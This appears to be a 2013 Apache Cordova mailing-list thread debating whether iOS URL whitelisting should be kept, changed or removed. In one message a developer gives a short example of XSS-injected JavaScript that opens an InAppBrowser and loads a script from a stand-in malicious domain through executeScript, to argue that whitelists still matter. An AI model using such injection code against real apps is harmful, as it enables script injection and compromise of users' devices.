Kevin - the iOS CDVURLProtocol was changed (2.5ish) to only filter requests from Cordova WebViews. I'd be interested in hearing if you still think it's over-reaching.
I think the only real way to protect your app is to not have any third-party scripts in it. We have an outstanding issue to create a guide for this: https://issues.apache.org/jira/browse/CB-2179 Would using InAppBrowser suite your need for handling third-party content? E.g. What if we made a mode for IAB where it overlays the page (like an iframe) instead of completely covering it? On Thu, Apr 11, 2013 at 2:39 PM, Shravan Narayan <[email protected]>wrote: > Hi, > My name is Shravan - I am an intern at Google working on the Cordova App > Harness (tool to test Cordova Apps). > > Something that I noticed while starting work on the App Harness. The new > executeScript method allows injection of arbitrary pieces of javascript in > the InAppBrowsers opened with "window.open". This script runs in context of > the page loaded in the InAppBrowser. Whitelists might be still required in > this scenario. > > *Quick example* > Consider the scenario that there are no whitelists in the platforms. Any > cordova app which is vulnerable to XSS attacks, can have the following code > injected into them. > > *w = window.open("www.site_that_your_app_normally_doesnt_access.com", > "_blank");* > *w.executeScript({ file: "some_** malicious**_site.com/malicious.js"}); > * > * > * > Thus they can open any website and inject any js file from any location. > Whereas with whitelists the js file's domain "*some_** malicious**_ > site.com" > * would probably not be a part of the whitelist. > > *Small caveat: *The executeScript does have means to inject code directly > as well with *w.executeScript({code:"(function() {alert("Hello");}) ();"}) > *but > that may require a different solution not pertaining to this discussion. > > I don't know if this is a reason to keep the whitelists around but thought > I'd mention it. > > Shravan > > > On Wed, Apr 10, 2013 at 8:29 PM, Shazron <[email protected]> wrote: > > > Also the whitelist might be important for plugins. Specifically, people > > that need to install plugins have a promise of what external locations > are > > being accessed. > > > > However, right now all iOS plugins bypass the whitelist because of our > > User-Agent method, and that needs to be rectified before this "promise" > is > > true. > > > > Certain resources bypass the whitelist anyway because we have no way to > > control them at the moment (audio/video tags): > > https://issues.apache.org/jira/browse/CB-2451 > > > > > > > > > > On Wed, Apr 10, 2013 at 5:22 PM, Shazron <[email protected]> wrote: > > > > > Ideally we would have a WebPolicyDelegate like OS X > > > (webView:decidePolicyForMIMEType:): > > > > > > > > > https://developer.apple.com/library/mac/#documentation/Cocoa/Reference/WebKit/Protocols/WebPolicyDelegate_Protocol/Reference/Reference.html > > > > > > ...where we can have some granularity - I'm not sure we can yet. If so, > > we > > > can defer to the app developer whether certain things like images can > be > > > let through - for example in MainViewController, you can set your own > > > WebPolicyDelegate. We would allow images through by default. > > > > > > I'm not sure of "letting the fox in the hen-house" (allow everything) > > then > > > trying to guard against attacks (hens with shotguns?), this is > JavaScript > > > after all. I'm interested however in how your gatekeeper concept works > to > > > help with this since allowing an external URL location does not protect > > > from this attach (think of the situation if the external host was > hacked, > > > and contained JS that attacks/intercepts our bridge). > > > > > > With the default wildcard in new projects, like others here have > > > mentioned, the whitelist is effectively turned off, and 99% of devs > won't > > > care to restrict the whitelist. > > > > > > > > > > > > On Wed, Apr 10, 2013 at 3:06 PM, Braden Shepherdson < > [email protected] > > >wrote: > > > > > >> Especially since permissions, on platforms that have such a notion, > will > > >> be > > >> (eventually...) controlled by installing those plugins. So you can > lean > > on > > >> the platform to block access to contacts as well. Even on platforms > > >> without > > >> such permissions control, if we don't load the contacts-retrieval > native > > >> code, then the JS can't get at it. > > >> > > >> Braden > > >> > > >> > > >> On Wed, Apr 10, 2013 at 4:44 PM, Jesse <[email protected]> > wrote: > > >> > > >> > I am completely in favor of removing whitelisting as well. I > believe > > it > > >> > gives developers a false sense of security. > > >> > imho the only sure way to protect access to the bridge is to only > ever > > >> load > > >> > code that you control. We should be pushing developers towards > > >> > best-practices. > > >> > > > >> > Some of the whitelist stuff should become redundant when we have > > things > > >> > like the Contact API moved into plugins. ie. You can be absolutely > > >> certain > > >> > that no JS code is accessing the device's contacts if you do not > > include > > >> > the native pieces of the Contact API. > > >> > > > >> > @purplecabbage > > >> > risingj.com > > >> > > > >> > > > >> > On Wed, Apr 10, 2013 at 1:23 PM, Brian LeRoux <[email protected]> wrote: > > >> > > > >> > > We recently moved to * by default to ease common userland woe. I'd > > be > > >> in > > >> > > favor of removal of whitelisting but I'm fairly certain that would > > be > > >> > > a controversial position! > > >> > > > > >> > > > > >> > > On Wed, Apr 10, 2013 at 11:38 AM, Kevin Hawkins < > > >> > > [email protected]> wrote: > > >> > > > > >> > > > Hey all, > > >> > > > > > >> > > > Those of us who have been on the implementing and/or serious > > >> > consumption > > >> > > > side of whitelisting for iOS—I've been on both at one time or > > >> > > another—know > > >> > > > how much work has gone into trying to make it a full-featured > > >> security > > >> > > > subsystem for the iOS version of the framework. I want to share > > >> some > > >> > > > feedback based on my organization's experiences in > implementation, > > >> and > > >> > > > hopefully spark some discussion about the future of whitelisting > > on > > >> iOS > > >> > > > (and maybe the platform as a whole). > > >> > > > > > >> > > > We're essentially running into insurmountable issues with > > >> whitelisting > > >> > > for > > >> > > > the use cases we're attempting, based on the overreach of the > > >> > > NSURLProtocol > > >> > > > approach to whitelist handling. I say overreach because, in an > > >> ideal > > >> > > > world, Cordova should only ever care about safeguarding traffic > > >> > destined > > >> > > to > > >> > > > go through the hybrid/native bridge. This argument can be made > > for > > >> all > > >> > > > platforms, but the lack of granularity is most onerously > > >> overbearing on > > >> > > > iOS, which filters every HTTP(S) packet that goes through the > app. > > >> > > > > > >> > > > Our requirements are very strict with regard to what's > whitelisted > > >> to > > >> > go > > >> > > > through the bridge. But the bridge is conceptually the only > thing > > >> we > > >> > > care > > >> > > > about, within that particular sphere of security. We have a > more > > >> > relaxed > > >> > > > sphere of security for, say, <img src="http://maps.google.com"; > > />, > > >> as > > >> > > the > > >> > > > threat vectors exposed through image rendering are considerably > > less > > >> > than > > >> > > > malicious injected bridge code. > > >> > > > > > >> > > > Alas, we don't—and arguably never will—have that kind of > granular > > >> > control > > >> > > > in iOS, with the current implementation approach. NSURLProtocol > > is > > >> > > simply > > >> > > > too broad-brush to meld into a granular approach for > whitelisting. > > >> The > > >> > > end > > >> > > > result is that we lose the ability to deliver a rich content > > >> experience > > >> > > > that leverages third party artifacts, because we're forced to go > > >> with > > >> > the > > >> > > > sphere of security that gives us the highest scrutiny, across > the > > >> > board. > > >> > > > > > >> > > > We've been considering (very early phase) some alternative > > >> approaches > > >> > to > > >> > > > managing whitelisting. Our current thinking has been focusing > on > > a > > >> > > > gatekeeper (on the native side) to the bridge itself. This > would > > >> > enforce > > >> > > > some sort of contract between the hybrid and native side, to > make > > a > > >> > > > determination of which traffic is authorized to specifically go > > >> through > > >> > > the > > >> > > > bridge. I'm not sure what that contract looks like at this > point, > > >> but > > >> > > > enforcement would be bridge-specific, and all other webview > > traffic > > >> > would > > >> > > > otherwise behave as it would in a normal web application. > > >> > > > > > >> > > > I know from past discussions that many (most?) Cordova > developers > > >> don't > > >> > > > generally use the whitelist, since their security concerns may > not > > >> be > > >> > as > > >> > > > great, and/or they exclusively host their app functionality > > locally > > >> to > > >> > > the > > >> > > > device, which allows them to essentially implement their own > > >> controls > > >> > on > > >> > > > attack vectors through selective app content. In our case, > we're > > >> > > building > > >> > > > an enterprise platform where content could come from any number > of > > >> > > sources. > > >> > > > And whitelisting controls are not working for us. > > >> > > > > > >> > > > If there's a future for whitelisting in Cordova 3.0, I > personally > > >> feel > > >> > > that > > >> > > > it needs to be revisited. I'd be interested to hear thoughts > from > > >> > others > > >> > > > on their usage patterns, and responses to my concerns. > > >> > > > > > >> > > > Cheers, > > >> > > > Kevin > > >> > > > > > >> > > > > >> > > > >> > > > > > > > > >
